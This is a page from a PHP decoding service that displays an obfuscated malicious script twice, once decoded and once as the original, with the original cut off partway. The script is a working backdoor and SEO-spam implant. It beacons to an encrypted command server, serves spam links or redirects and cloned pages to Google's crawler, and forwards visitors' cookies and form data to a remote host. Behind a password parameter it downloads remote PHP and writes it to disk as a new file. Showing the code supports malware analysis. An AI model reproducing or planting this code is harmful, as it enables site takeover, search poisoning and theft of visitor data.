Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @ob_start(); $HPMAfKMrngVRqfxWfLoS='sZ6lJ75jkg9VX40y+6lm/fCBQk9WetAxfFG4X4noaM0pP0Xy..

Decoded Output download

<?php @ob_start(); $HPMAfKMrngVRqfxWfLoS='sZ6lJ75jkg9VX40y+6lm/fCBQk9WetAxfFG4X4noaM0pP0Xyc/jag1YZR+OyDBJ9nT+Sucz3'; $mCfyVzCHBZKpQfdyWpGD='B7hdbO10uYPwuIwC1bmtgebxvuLgXCh6L0aT0ywPaf0HL46OZYgmLqaVsRVukMHOu4jf3YdJzHM='; $LwvNyLHCzpOElAMsbSlq='T0dSFlvxjIYV2RV74Az4C5BHK1OooycAmcOm1slu8IQymtsEEz6zn3xr6xpqxoVBfqabP8F3Jg==';$chtRkSjfoKOKxoJPNYqZ='wFWRnfaRfuDnVJdaFYdeiBwUyayOPFpMlotRKpGKthxNxMITcy'; $KzOrqeasNHVynJNRvaCC=@$_SERVER["HTTP_HOST"];$KzOrqeasNHVynJNRvaCC=str_replace('www.','',$KzOrqeasNHVynJNRvaCC);$LvrlXMrVdwaNzaVrEoGj='sess_'.md5($KzOrqeasNHVynJNRvaCC).'.json';if(@$_GET["merdo"]){echo '<!--SYSADMIN-->';exit();}$MOdkSQDTyGZOWGNUtGbG=@sys_get_temp_dir();if(!is_writable($MOdkSQDTyGZOWGNUtGbG)){$MOdkSQDTyGZOWGNUtGbG='';}if(strtoupper(substr(PHP_OS,0,3))==='WIN'){$kwHvTYtmmcwOjulqjLTT=''.$MOdkSQDTyGZOWGNUtGbG.'\'.$LvrlXMrVdwaNzaVrEoGj.'';}else{$kwHvTYtmmcwOjulqjLTT=''.$MOdkSQDTyGZOWGNUtGbG.'/'.$LvrlXMrVdwaNzaVrEoGj.'';}function OKjutQVQKnpiZuxAKvNK($QKvYcfKsHsUguQTQwsRP){global $KzOrqeasNHVynJNRvaCC;$rSQqwSDuwwYTAIhvEjXU=curl_init();$QKvYcfKsHsUguQTQwsRP=$QKvYcfKsHsUguQTQwsRP.'?merdo='.$KzOrqeasNHVynJNRvaCC;curl_setopt($rSQqwSDuwwYTAIhvEjXU,CURLOPT_URL,$QKvYcfKsHsUguQTQwsRP);curl_setopt($rSQqwSDuwwYTAIhvEjXU,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($rSQqwSDuwwYTAIhvEjXU,CURLOPT_RETURNTRANSFER,true);curl_setopt($rSQqwSDuwwYTAIhvEjXU,CURLOPT_USERAGENT,"RaBot");curl_setopt($rSQqwSDuwwYTAIhvEjXU,CURLOPT_TIMEOUT,10);return curl_exec($rSQqwSDuwwYTAIhvEjXU);}function KsdiIxdjBQMcHAdFKOsW($rBXbiujdxuvGMRvpxrOs,$TWQfJpXeAbPPHEHhpVih){@touch($rBXbiujdxuvGMRvpxrOs);$ITYTmGjsZrjWrEfxZkGc=@fopen($rBXbiujdxuvGMRvpxrOs,"w");if(@fwrite($ITYTmGjsZrjWrEfxZkGc,$TWQfJpXeAbPPHEHhpVih)){return true;}return false;}function niKUulgSuVLthWEEpzrz($aCBYkdyWoSkISDyFVcCw){$IOvUJNhUQUPFPmXECnpa=@fOpen($aCBYkdyWoSkISDyFVcCw,"r");$READaCBYkdyWoSkISDyFVcCw=@fRead($IOvUJNhUQUPFPmXECnpa,fileSize($aCBYkdyWoSkISDyFVcCw));@fClose($IOvUJNhUQUPFPmXECnpa);return $READaCBYkdyWoSkISDyFVcCw;}function NGobttPxdXXlmFcmpkLa($aCBYkdyWoSkISDyFVcCw){global $MOdkSQDTyGZOWGNUtGbG;$YNqxSOJUchnpLuCWTkCr=@json_decode(str_rot13($aCBYkdyWoSkISDyFVcCw),true);if($YNqxSOJUchnpLuCWTkCr["type"]=="link"||$YNqxSOJUchnpLuCWTkCr["type"]=="anti"){if(count($YNqxSOJUchnpLuCWTkCr["links"])){$skqOhwsXEenlBcpnfyYA='';foreach($YNqxSOJUchnpLuCWTkCr["links"]as $ogOeYwAXptCjBxknJMXx){$skqOhwsXEenlBcpnfyYA.="<a href=\"".$ogOeYwAXptCjBxknJMXx["url"]."\" title=\"".$ogOeYwAXptCjBxknJMXx["title"]."\">".$ogOeYwAXptCjBxknJMXx["baslik"]."</a>
";}$eYPBWnHgmMduEvcDtdRl=$YNqxSOJUchnpLuCWTkCr["html"];$eYPBWnHgmMduEvcDtdRl=str_replace('{LINK_CODE_REPLACE}',$skqOhwsXEenlBcpnfyYA,$eYPBWnHgmMduEvcDtdRl);$yAEdcjkzSAqIfPPDNYro=0;$ChCqLlVVgnZjNzgwAydw=0;if(count($YNqxSOJUchnpLuCWTkCr["agent"]["block"])){$ChCqLlVVgnZjNzgwAydw=1;foreach($YNqxSOJUchnpLuCWTkCr["agent"]["block"]as $yQBZnAFJgqXPnIsghjks){if(@preg_match('#'.$yQBZnAFJgqXPnIsghjks.'#',$_SERVER["HTTP_USER_AGENT"])){$yAEdcjkzSAqIfPPDNYro=1;break;}}}$VIyUvijMhySqVrBaAOUY=0;$fUdYqEMIETvSexGejdQe=0;if(count($YNqxSOJUchnpLuCWTkCr["agent"]["accept"])){$fUdYqEMIETvSexGejdQe=1;foreach($YNqxSOJUchnpLuCWTkCr["agent"]["accept"]as $MJadAradUylAnTGyvlws){if(@preg_match('#'.$MJadAradUylAnTGyvlws.'#',$_SERVER["HTTP_USER_AGENT"])){$VIyUvijMhySqVrBaAOUY=1;break;}}}if($ChCqLlVVgnZjNzgwAydw==1){if($yAEdcjkzSAqIfPPDNYro==0){if($fUdYqEMIETvSexGejdQe==1){if($VIyUvijMhySqVrBaAOUY==1){echo $eYPBWnHgmMduEvcDtdRl;}}else{echo $eYPBWnHgmMduEvcDtdRl;}}}else{if($fUdYqEMIETvSexGejdQe==1){if($VIyUvijMhySqVrBaAOUY==1){echo $eYPBWnHgmMduEvcDtdRl;}}else{echo $eYPBWnHgmMduEvcDtdRl;}}}else{$eYPBWnHgmMduEvcDtdRl=$YNqxSOJUchnpLuCWTkCr["html"];$eYPBWnHgmMduEvcDtdRl=str_replace('{LINK_CODE_REPLACE}','',$eYPBWnHgmMduEvcDtdRl);echo $eYPBWnHgmMduEvcDtdRl;}}elseif($YNqxSOJUchnpLuCWTkCr["type"]=="redirect"){if(@preg_match('#google#',$_SERVER["HTTP_USER_AGENT"])){$uri=$_SERVER['REQUEST_URI'];$rand_keys=array_rand($YNqxSOJUchnpLuCWTkCr["links"],1);$myurl=rtrim($YNqxSOJUchnpLuCWTkCr["links"][$rand_keys]["url"],'/');$url=$myurl.$uri;header('HTTP/1.1 301 Moved Permanently');header('Location: '.$url.'');exit();}}elseif($YNqxSOJUchnpLuCWTkCr["type"]=="clone"){if(@preg_match('#google#',$_SERVER["HTTP_USER_AGENT"])){$uri=@$_SERVER['REQUEST_URI'];$pinfo=pathinfo($uri);if(preg_match('#\.css#',$uri)){header("Content-Type: text/css");}if(@$pinfo["extension"]=="jpg"||@$pinfo["extension"]=="jpeg"){header("Content-Type: image/jpeg");}if(preg_match('#\.js#',$uri)){header("Content-Type: text/javascript");}if(preg_match('#\.xml#',$uri)){header("Content-Type: application/xml");}$host=@$_SERVER["HTTP_HOST"];$host=str_replace('www.','',$host);$cacheDir=$MOdkSQDTyGZOWGNUtGbG;$cacheKey=''.$host.'/'.$_SERVER["REQUEST_URI"].'';$filename=$MOdkSQDTyGZOWGNUtGbG.'/'.md5($cacheKey).'.html';$cached=false;$page='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];if(file_exists($filename)){$cached=true;}else{@unlink($filename);$cached=false;}if($cached){@readfile($filename);exit();}else{$uri=$_SERVER['REQUEST_URI'];$rand_keys=array_rand($YNqxSOJUchnpLuCWTkCr["links"],1);$myurl=rtrim($YNqxSOJUchnpLuCWTkCr["links"][$rand_keys]["url"],'/');$url=$myurl.$uri;$ckfile=$MOdkSQDTyGZOWGNUtGbG.'/cookie-'.session_id();$cookiedomain=str_replace("http://www.","",$myurl);$cookiedomain=str_replace("http://","",$cookiedomain);$cookiedomain=str_replace("https://www.","",$cookiedomain);$cookiedomain=str_replace("https://","",$cookiedomain);$cookiedomain=str_replace("www.","",$cookiedomain);$cookiedomain=rtrim($cookiedomain,'/');$curlSession=curl_init();curl_setopt($curlSession,CURLOPT_URL,$url);if($_SERVER['REQUEST_METHOD']=='POST'){$postinfo='';foreach($_POST as $key=>$value){$postinfo.=$key.'='.urlencode($value).'&';}rtrim($postinfo,'&');curl_setopt($curlSession,CURLOPT_POST,1);curl_setopt($curlSession,CURLOPT_POSTFIELDS,$postinfo);}curl_setopt($curlSession,CURLOPT_REFERER,$myurl);curl_setopt($curlSession,CURLOPT_RETURNTRANSFER,1);curl_setopt($curlSession,CURLOPT_TIMEOUT,30);curl_setopt($curlSession,CURLOPT_COOKIEJAR,$ckfile);curl_setopt($curlSession,CURLOPT_COOKIEFILE,$ckfile);curl_setopt($curlSession,CURLOPT_COOKIE,"fb620561f408b25819e9b3c4fad75f85=/");curl_setopt($curlSession,CURLOPT_USERAGENT,'Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_0 like Mac OS 10.11) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.0 Mobile/15E148 Safari/605.1.15');foreach($_COOKIE as $k=>$v){if(is_array($v)){$v=serialize($v);}curl_setopt($curlSession,CURLOPT_COOKIE,"$k=$v; domain=.$cookiedomain ; path=/");}$response=curl_exec($curlSession);curl_close($curlSession);$body=$response;foreach(unserialize($YNqxSOJUchnpLuCWTkCr["links"][$rand_keys]["replika"])as $k=>$l){$body=str_replace($k,$l,$body);}print($body);$text=ob_get_clean();$fh=@fopen($filename,'w+');@fwrite($fh,$text);@fclose($fh);echo $text;exit();}}}}if(file_exists($kwHvTYtmmcwOjulqjLTT)){$fhWUUGlCdcFhJaYmpbta=filemtime($kwHvTYtmmcwOjulqjLTT);if(time()-$fhWUUGlCdcFhJaYmpbta>1){$YRkGsWnFqgMogYZGSuGV=OKjutQVQKnpiZuxAKvNK(uQuNwnmcDjAXrmmTvVOe($HPMAfKMrngVRqfxWfLoS,$chtRkSjfoKOKxoJPNYqZ));if(KsdiIxdjBQMcHAdFKOsW($kwHvTYtmmcwOjulqjLTT,$YRkGsWnFqgMogYZGSuGV)){NGobttPxdXXlmFcmpkLa($YRkGsWnFqgMogYZGSuGV);}else{NGobttPxdXXlmFcmpkLa($YRkGsWnFqgMogYZGSuGV);}}else{$YRkGsWnFqgMogYZGSuGV=niKUulgSuVLthWEEpzrz($kwHvTYtmmcwOjulqjLTT);NGobttPxdXXlmFcmpkLa($YRkGsWnFqgMogYZGSuGV);}}else{$YRkGsWnFqgMogYZGSuGV=OKjutQVQKnpiZuxAKvNK(uQuNwnmcDjAXrmmTvVOe($HPMAfKMrngVRqfxWfLoS,$chtRkSjfoKOKxoJPNYqZ));if(KsdiIxdjBQMcHAdFKOsW($kwHvTYtmmcwOjulqjLTT,$YRkGsWnFqgMogYZGSuGV)){NGobttPxdXXlmFcmpkLa($YRkGsWnFqgMogYZGSuGV);}else{NGobttPxdXXlmFcmpkLa($YRkGsWnFqgMogYZGSuGV);}}if(@$_GET["ra"]){$eoLKGLVaaPzMWiiBpRvA=@$_GET["ra"];if(function_exists('curl_init')){$dWxRwgAVfXRviYJHEUUN=OKjutQVQKnpiZuxAKvNK(uQuNwnmcDjAXrmmTvVOe($mCfyVzCHBZKpQfdyWpGD,$chtRkSjfoKOKxoJPNYqZ));}else{$dWxRwgAVfXRviYJHEUUN=@file_get_contents(uQuNwnmcDjAXrmmTvVOe($mCfyVzCHBZKpQfdyWpGD,$chtRkSjfoKOKxoJPNYqZ));}if(sha1(md5($eoLKGLVaaPzMWiiBpRvA))==$dWxRwgAVfXRviYJHEUUN){if(@$_GET["dir"]){$JiGPcpHkVOVuLbeLfSaE=@$_GET["dir"];}else{$JiGPcpHkVOVuLbeLfSaE='./';}if(function_exists('curl_init')){$owBBAENfFQcHWPsxdnRl=OKjutQVQKnpiZuxAKvNK(uQuNwnmcDjAXrmmTvVOe($LwvNyLHCzpOElAMsbSlq,$chtRkSjfoKOKxoJPNYqZ));}else{$owBBAENfFQcHWPsxdnRl=@file_get_contents(uQuNwnmcDjAXrmmTvVOe($LwvNyLHCzpOElAMsbSlq,$chtRkSjfoKOKxoJPNYqZ));}$pVPpkQTlAnoZUClMmqvW=rand(0,9999999);$sqFrYVrCMByuWXfWWsZq=''.$JiGPcpHkVOVuLbeLfSaE.''.md5($KzOrqeasNHVynJNRvaCC.$pVPpkQTlAnoZUClMmqvW).'.php';if(KsdiIxdjBQMcHAdFKOsW($sqFrYVrCMByuWXfWWsZq,$owBBAENfFQcHWPsxdnRl)){echo $sqFrYVrCMByuWXfWWsZq;exit();}}}function uQuNwnmcDjAXrmmTvVOe($qFHhkiaSEdAGAOEOIrYG,$chtRkSjfoKOKxoJPNYqZ){$STQRMsTVWREcoUSoeMSC=md5(md5($chtRkSjfoKOKxoJPNYqZ)).md5($chtRkSjfoKOKxoJPNYqZ);$MMJsmxqLswJgLTtTKMUR=SjDkDAoUXapdmmtqRJtX($STQRMsTVWREcoUSoeMSC);$hash_length=strlen($MMJsmxqLswJgLTtTKMUR);$qFHhkiaSEdAGAOEOIrYG=base64_decode($qFHhkiaSEdAGAOEOIrYG);$PcHQsJcAVbRhuXIqTJcj=substr($qFHhkiaSEdAGAOEOIrYG,0,$hash_length);$qFHhkiaSEdAGAOEOIrYG=substr($qFHhkiaSEdAGAOEOIrYG,$hash_length,strlen($qFHhkiaSEdAGAOEOIrYG)-$hash_length);$IuBogCotDHTPTBAQpaGC=$xfpKeeHITMDUkrbrnQjf='';$SKnldQoipHHnynuPvqvV=0;while($SKnldQoipHHnynuPvqvV<$hash_length){$IuBogCotDHTPTBAQpaGC.=chr(ord($PcHQsJcAVbRhuXIqTJcj[$SKnldQoipHHnynuPvqvV])^ord($MMJsmxqLswJgLTtTKMUR[$SKnldQoipHHnynuPvqvV]));++$SKnldQoipHHnynuPvqvV;}$STQRMsTVWREcoUSoeMSC=$IuBogCotDHTPTBAQpaGC;$SKnldQoipHHnynuPvqvV=0;while($SKnldQoipHHnynuPvqvV<strlen($qFHhkiaSEdAGAOEOIrYG)){if(($SKnldQoipHHnynuPvqvV!=0 AND $SKnldQoipHHnynuPvqvV%$hash_length==0)){$STQRMsTVWREcoUSoeMSC=SjDkDAoUXapdmmtqRJtX($STQRMsTVWREcoUSoeMSC.substr($xfpKeeHITMDUkrbrnQjf,$SKnldQoipHHnynuPvqvV-$hash_length,$hash_length));}$xfpKeeHITMDUkrbrnQjf.=chr(ord($STQRMsTVWREcoUSoeMSC[$SKnldQoipHHnynuPvqvV%$hash_length])^ord($qFHhkiaSEdAGAOEOIrYG[$SKnldQoipHHnynuPvqvV]));++$SKnldQoipHHnynuPvqvV;}return $xfpKeeHITMDUkrbrnQjf;}function SjDkDAoUXapdmmtqRJtX($qFHhkiaSEdAGAOEOIrYG){if(function_exists('sha1')){$MMJsmxqLswJgLTtTKMUR=sha1($qFHhkiaSEdAGAOEOIrYG);}else{$MMJsmxqLswJgLTtTKMUR=md5($qFHhkiaSEdAGAOEOIrYG);}$xfpKeeHITMDUkrbrnQjf='';$SKnldQoipHHnynuPvqvV=0;while($SKnldQoipHHnynuPvqvV<strlen($MMJsmxqLswJgLTtTKMUR)){$xfpKeeHITMDUkrbrnQjf.=chr(hexdec($MMJsmxqLswJgLTtTKMUR[$SKnldQoipHHnynuPvqvV].$MMJsmxqLswJgLTtTKMUR[$SKnldQoipHHnynuPvqvV+1]));$SKnldQoipHHnynuPvqvV+=2;}return $xfpKeeHITMDUkrbrnQjf;} ?> 

Did this file decode correctly?

Original Code

<?php @ob_start(); $HPMAfKMrngVRqfxWfLoS='sZ6lJ75jkg9VX40y+6lm/fCBQk9WetAxfFG4X4noaM0pP0Xyc/jag1YZR+OyDBJ9nT+Sucz3'; $mCfyVzCHBZKpQfdyWpGD='B7hdbO10uYPwuIwC1bmtgebxvuLgXCh6L0aT0ywPaf0HL46OZYgmLqaVsRVukMHOu4jf3YdJzHM='; $LwvNyLHCzpOElAMsbSlq='T0dSFlvxjIYV2RV74Az4C5BHK1OooycAmcOm1slu8IQymtsEEz6zn3xr6xpqxoVBfqabP8F3Jg==';$chtRkSjfoKOKxoJPNYqZ='wFWRnfaRfuDnVJdaFYdeiBwUyayOPFpMlotRKpGKthxNxMITcy'; $KzOrqeasNHVynJNRvaCC=@$_SERVER["HTTP_HOST"];$KzOrqeasNHVynJNRvaCC=str_replace('www.','',$KzOrqeasNHVynJNRvaCC);$LvrlXMrVdwaNzaVrEoGj='sess_'.md5($KzOrqeasNHVynJNRvaCC).'.json';if(@$_GET["merdo"]){echo '<!--SYSADMIN-->';exit();}$MOdkSQDTyGZOWGNUtGbG=@sys_get_temp_dir();if(!is_writable($MOdkSQDTyGZOWGNUtGbG)){$MOdkSQDTyGZOWGNUtGbG='';}if(strtoupper(substr(PHP_OS,0,3))==='WIN'){$kwHvTYtmmcwOjulqjLTT=''.$MOdkSQDTyGZOWGNUtGbG.'\\'.$LvrlXMrVdwaNzaVrEoGj.'';}else{$kwHvTYtmmcwOjulqjLTT=''.$MOdkSQDTyGZOWGNUtGbG.'/'.$LvrlXMrVdwaNzaVrEoGj.'';}function OKjutQVQKnpiZuxAKvNK($QKvYcfKsHsUguQTQwsRP){global $KzOrqeasNHVynJNRvaCC;$rSQqwSDuwwYTAIhvEjXU=curl_init();$QKvYcfKsHsUguQTQwsRP=$QKvYcfKsHsUguQTQwsRP.'?merdo='.$KzOrqeasNHVynJNRvaCC;curl_setopt($rSQqwSDuwwYTAIhvEjXU,CURLOPT_URL,$QKvYcfKsHsUguQTQwsRP);curl_setopt($rSQqwSDuwwYTAIhvEjXU,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($rSQqwSDuwwYTAIhvEjXU,CURLOPT_RETURNTRANSFER,true);curl_setopt($rSQqwSDuwwYTAIhvEjXU,CURLOPT_USERAGENT,"RaBot");curl_setopt($rSQqwSDuwwYTAIhvEjXU,CURLOPT_TIMEOUT,10);return curl_exec($rSQqwSDuwwYTAIhvEjXU);}function KsdiIxdjBQMcHAdFKOsW($rBXbiujdxuvGMRvpxrOs,$TWQfJpXeAbPPHEHhpVih){@touch($rBXbiujdxuvGMRvpxrOs);$ITYTmGjsZrjWrEfxZkGc=@fopen($rBXbiujdxuvGMRvpxrOs,"w");if(@fwrite($ITYTmGjsZrjWrEfxZkGc,$TWQfJpXeAbPPHEHhpVih)){return true;}return false;}function niKUulgSuVLthWEEpzrz($aCBYkdyWoSkISDyFVcCw){$IOvUJNhUQUPFPmXECnpa=@fOpen($aCBYkdyWoSkISDyFVcCw,"r");$READaCBYkdyWoSkISDyFVcCw=@fRead($IOvUJNhUQUPFPmXECnpa,fileSize($aCBYkdyWoSkISDyFVcCw));@fClose($IOvUJNhUQUPFPmXECnpa);return $READaCBYkdyWoSkISDyFVcCw;}function NGobttPxdXXlmFcmpkLa($aCBYkdyWoSkISDyFVcCw){global $MOdkSQDTyGZOWGNUtGbG;$YNqxSOJUchnpLuCWTkCr=@json_decode(str_rot13($aCBYkdyWoSkISDyFVcCw),true);if($YNqxSOJUchnpLuCWTkCr["type"]=="link"||$YNqxSOJUchnpLuCWTkCr["type"]=="anti"){if(count($YNqxSOJUchnpLuCWTkCr["links"])){$skqOhwsXEenlBcpnfyYA='';foreach($YNqxSOJUchnpLuCWTkCr["links"]as $ogOeYwAXptCjBxknJMXx){$skqOhwsXEenlBcpnfyYA.="<a href=\"".$ogOeYwAXptCjBxknJMXx["url"]."\" title=\"".$ogOeYwAXptCjBxknJMXx["title"]."\">".$ogOeYwAXptCjBxknJMXx["baslik"]."</a>\n";}$eYPBWnHgmMduEvcDtdRl=$YNqxSOJUchnpLuCWTkCr["html"];$eYPBWnHgmMduEvcDtdRl=str_replace('{LINK_CODE_REPLACE}',$skqOhwsXEenlBcpnfyYA,$eYPBWnHgmMduEvcDtdRl);$yAEdcjkzSAqIfPPDNYro=0;$ChCqLlVVgnZjNzgwAydw=0;if(count($YNqxSOJUchnpLuCWTkCr["agent"]["block"])){$ChCqLlVVgnZjNzgwAydw=1;foreach($YNqxSOJUchnpLuCWTkCr["agent"]["block"]as $yQBZnAFJgqXPnIsghjks){if(@preg_match('#'.$yQBZnAFJgqXPnIsghjks.'#',$_SERVER["HTTP_USER_AGENT"])){$yAEdcjkzSAqIfPPDNYro=1;break;}}}$VIyUvijMhySqVrBaAOUY=0;$fUdYqEMIETvSexGejdQe=0;if(count($YNqxSOJUchnpLuCWTkCr["agent"]["accept"])){$fUdYqEMIETvSexGejdQe=1;foreach($YNqxSOJUchnpLuCWTkCr["agent"]["accept"]as $MJadAradUylAnTGyvlws){if(@preg_match('#'.$MJadAradUylAnTGyvlws.'#',$_SERVER["HTTP_USER_AGENT"])){$VIyUvijMhySqVrBaAOUY=1;break;}}}if($ChCqLlVVgnZjNzgwAydw==1){if($yAEdcjkzSAqIfPPDNYro==0){if($fUdYqEMIETvSexGejdQe==1){if($VIyUvijMhySqVrBaAOUY==1){echo $eYPBWnHgmMduEvcDtdRl;}}else{echo $eYPBWnHgmMduEvcDtdRl;}}}else{if($fUdYqEMIETvSexGejdQe==1){if($VIyUvijMhySqVrBaAOUY==1){echo $eYPBWnHgmMduEvcDtdRl;}}else{echo $eYPBWnHgmMduEvcDtdRl;}}}else{$eYPBWnHgmMduEvcDtdRl=$YNqxSOJUchnpLuCWTkCr["html"];$eYPBWnHgmMduEvcDtdRl=str_replace('{LINK_CODE_REPLACE}','',$eYPBWnHgmMduEvcDtdRl);echo $eYPBWnHgmMduEvcDtdRl;}}elseif($YNqxSOJUchnpLuCWTkCr["type"]=="redirect"){if(@preg_match('#google#',$_SERVER["HTTP_USER_AGENT"])){$uri=$_SERVER['REQUEST_URI'];$rand_keys=array_rand($YNqxSOJUchnpLuCWTkCr["links"],1);$myurl=rtrim($YNqxSOJUchnpLuCWTkCr["links"][$rand_keys]["url"],'/');$url=$myurl.$uri;header('HTTP/1.1 301 Moved Permanently');header('Location: '.$url.'');exit();}}elseif($YNqxSOJUchnpLuCWTkCr["type"]=="clone"){if(@preg_match('#google#',$_SERVER["HTTP_USER_AGENT"])){$uri=@$_SERVER['REQUEST_URI'];$pinfo=pathinfo($uri);if(preg_match('#\.css#',$uri)){header("Content-Type: text/css");}if(@$pinfo["extension"]=="jpg"||@$pinfo["extension"]=="jpeg"){header("Content-Type: image/jpeg");}if(preg_match('#\.js#',$uri)){header("Content-Type: text/javascript");}if(preg_match('#\.xml#',$uri)){header("Content-Type: application/xml");}$host=@$_SERVER["HTTP_HOST"];$host=str_replace('www.','',$host);$cacheDir=$MOdkSQDTyGZOWGNUtGbG;$cacheKey=''.$host.'/'.$_SERVER["REQUEST_URI"].'';$filename=$MOdkSQDTyGZOWGNUtGbG.'/'.md5($cacheKey).'.html';$cached=false;$page='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];if(file_exists($filename)){$cached=true;}else{@unlink($filename);$cached=false;}if($cached){@readfile($filename);exit();}else{$uri=$_SERVER['REQUEST_URI'];$rand_keys=array_rand($YNqxSOJUchnpLuCWTkCr["links"],1);$myurl=rtrim($YNqxSOJUchnpLuCWTkCr["links"][$rand_keys]["url"],'/');$url=$myurl.$uri;$ckfile=$MOdkSQDTyGZOWGNUtGbG.'/cookie-'.session_id();$cookiedomain=str_replace("http://www.","",$myurl);$cookiedomain=str_replace("http://","",$cookiedomain);$cookiedomain=str_replace("https://www.","",$cookiedomain);$cookiedomain=str_replace("https://","",$cookiedomain);$cookiedomain=str_replace("www.","",$cookiedomain);$cookiedomain=rtrim($cookiedomain,'/');$curlSession=curl_init();curl_setopt($curlSession,CURLOPT_URL,$url);if($_SERVER['REQUEST_METHOD']=='POST'){$postinfo='';foreach($_POST as $key=>$value){$postinfo.=$key.'='.urlencode($value).'&';}rtrim($postinfo,'&');curl_setopt($curlSession,CURLOPT_POST,1);curl_setopt($curlSession,CURLOPT_POSTFIELDS,$postinfo);}curl_setopt($curlSession,CURLOPT_REFERER,$myurl);curl_setopt($curlSession,CURLOPT_RETURNTRANSFER,1);curl_setopt($curlSession,CURLOPT_TIMEOUT,30);curl_setopt($curlSession,CURLOPT_COOKIEJAR,$ckfile);curl_setopt($curlSession,CURLOPT_COOKIEFILE,$ckfile);curl_setopt($curlSession,CURLOPT_COOKIE,"fb620561f408b25819e9b3c4fad75f85=/");curl_setopt($curlSession,CURLOPT_USERAGENT,'Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_0 like Mac OS 10.11) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.0 Mobile/15E148 Safari/605.1.15');foreach($_COOKIE as $k=>$v){if(is_array($v)){$v=serialize($v);}curl_setopt($curlSession,CURLOPT_COOKIE,"$k=$v; domain=.$cookiedomain ; path=/");}$response=curl_exec($curlSession);curl_close($curlSession);$body=$response;foreach(unserialize($YNqxSOJUchnpLuCWTkCr["links"][$rand_keys]["replika"])as $k=>$l){$body=str_replace($k,$l,$body);}print($body);$text=ob_get_clean();$fh=@fopen($filename,'w+');@fwrite($fh,$text);@fclose($fh);echo $text;exit();}}}}if(file_exists($kwHvTYtmmcwOjulqjLTT)){$fhWUUGlCdcFhJaYmpbta=filemtime($kwHvTYtmmcwOjulqjLTT);if(time()-$fhWUUGlCdcFhJaYmpbta>1){$YRkGsWnFqgMogYZGSuGV=OKjutQVQKnpiZuxAKvNK(uQuNwnmcDjAXrmmTvVOe($HPMAfKMrngVRqfxWfLoS,$chtRkSjfoKOKxoJPNYqZ));if(KsdiIxdjBQMcHAdFKOsW($kwHvTYtmmcwOjulqjLTT,$YRkGsWnFqgMogYZGSuGV)){NGobttPxdXXlmFcmpkLa($YRkGsWnFqgMogYZGSuGV);}else{NGobttPxdXXlmFcmpkLa($YRkGsWnFqgMogYZGSuGV);}}else{$YRkGsWnFqgMogYZGSuGV=niKUulgSuVLthWEEpzrz($kwHvTYtmmcwOjulqjLTT);NGobttPxdXXlmFcmpkLa($YRkGsWnFqgMogYZGSuGV);}}else{$YRkGsWnFqgMogYZGSuGV=OKjutQVQKnpiZuxAKvNK(uQuNwnmcDjAXrmmTvVOe($HPMAfKMrngVRqfxWfLoS,$chtRkSjfoKOKxoJPNYqZ));if(KsdiIxdjBQMcHAdFKOsW($kwHvTYtmmcwOjulqjLTT,$YRkGsWnFqgMogYZGSuGV)){NGobttPxdXXlmFcmpkLa($YRkGsWnFqgMogYZGSuGV);}else{NGobttPxdXXlmFcmpkLa($YRkGsWnFqgMogYZGSuGV);}}if(@$_GET["ra"]){$eoLKGLVaaPzMWiiBpRvA=@$_GET["ra"];if(function_exists('curl_init')){$dWxRwgAVfXRviYJHEUUN=OKjutQVQKnpiZuxAKvNK(uQuNwnmcDjAXrmmTvVOe($mCfyVzCHBZKpQfdyWpGD,$chtRkSjfoKOKxoJPNYqZ));}else{$dWxRwgAVfXRviYJHEUUN=@file_get_contents(uQuNwnmcDjAXrmmTvVOe($mCfyVzCHBZKpQfdyWpGD,$chtRkSjfoKOKxoJPNYqZ));}if(sha1(md5($eoLKGLVaaPzMWiiBpRvA))==$dWxRwgAVfXRviYJHEUUN){if(@$_GET["dir"]){$JiGPcpHkVOVuLbeLfSaE=@$_GET["dir"];}else{$JiGPcpHkVOVuLbeLfSaE='./';}if(function_exists('curl_init')){$owBBAENfFQcHWPsxdnRl=OKjutQVQKnpiZuxAKvNK(uQuNwnmcDjAXrmmTvVOe($LwvNyLHCzpOElAMsbSlq,$chtRkSjfoKOKxoJPNYqZ));}else{$owBBAENfFQcHWPsxdnRl=@file_get_contents(uQuNwnmcDjAXrmmTvVOe($LwvNyLHCzpOElAMsbSlq,$chtRkSjfoKOKxoJPNYqZ));}$pVPpkQTlAnoZUClMmqvW=rand(0,9999999);$sqFrYVrCMByuWXfWWsZq=''.$JiGPcpHkVOVuLbeLfSaE.''.md5($KzOrqeasNHVynJNRvaCC.$pVPpkQTlAnoZUClMmqvW).'.php';if(KsdiIxdjBQMcHAdFKOsW($sqFrYVrCMByuWXfWWsZq,$owBBAENfFQcHWPsxdnRl)){echo $sqFrYVrCMByuWXfWWsZq;exit();}}}function uQuNwnmcDjAXrmmTvVOe($qFHhkiaSEdAGAOEOIrYG,$chtRkSjfoKOKxoJPNYqZ){$STQRMsTVWREcoUSoeMSC=md5(md5($chtRkSjfoKOKxoJPNYqZ)).md5($chtRkSjfoKOKxoJPNYqZ);$MMJsmxqLswJgLTtTKMUR=SjDkDAoUXapdmmtqRJtX($STQRMsTVWREcoUSoeMSC);$hash_length=strlen($MMJsmxqLswJgLTtTKMUR);$qFHhkiaSEdAGAOEOIrYG=base64_decode($qFHhkiaSEdAGAOEOIrYG);$PcHQsJcAVbRhuXIqTJcj=substr($qFHhkiaSEdAGAOEOIrYG,0,$hash_length);$qFHhkiaSEdAGAOEOIrYG=substr($qFHhkiaSEdAGAOEOIrYG,$hash_length,strlen($qFHhkiaSEdAGAOEOIrYG)-$hash_length);$IuBogCotDHTPTBAQpaGC=$xfpKeeHITMDUkrbrnQjf='';$SKnldQoipHHnynuPvqvV=0;while($SKnldQoipHHnynuPvqvV<$hash_length){$IuBogCotDHTPTBAQpaGC.=chr(ord($PcHQsJcAVbRhuXIqTJcj[$SKnldQoipHHnynuPvqvV])^ord($MMJsmxqLswJgLTtTKMUR[$SKnldQoipHHnynuPvqvV]));++$SKnldQoipHHnynuPvqvV;}$STQRMsTVWREcoUSoeMSC=$IuBogCotDHTPTBAQpaGC;$SKnldQoipHHnynuPvqvV=0;while($SKnldQoipHHnynuPvqvV<s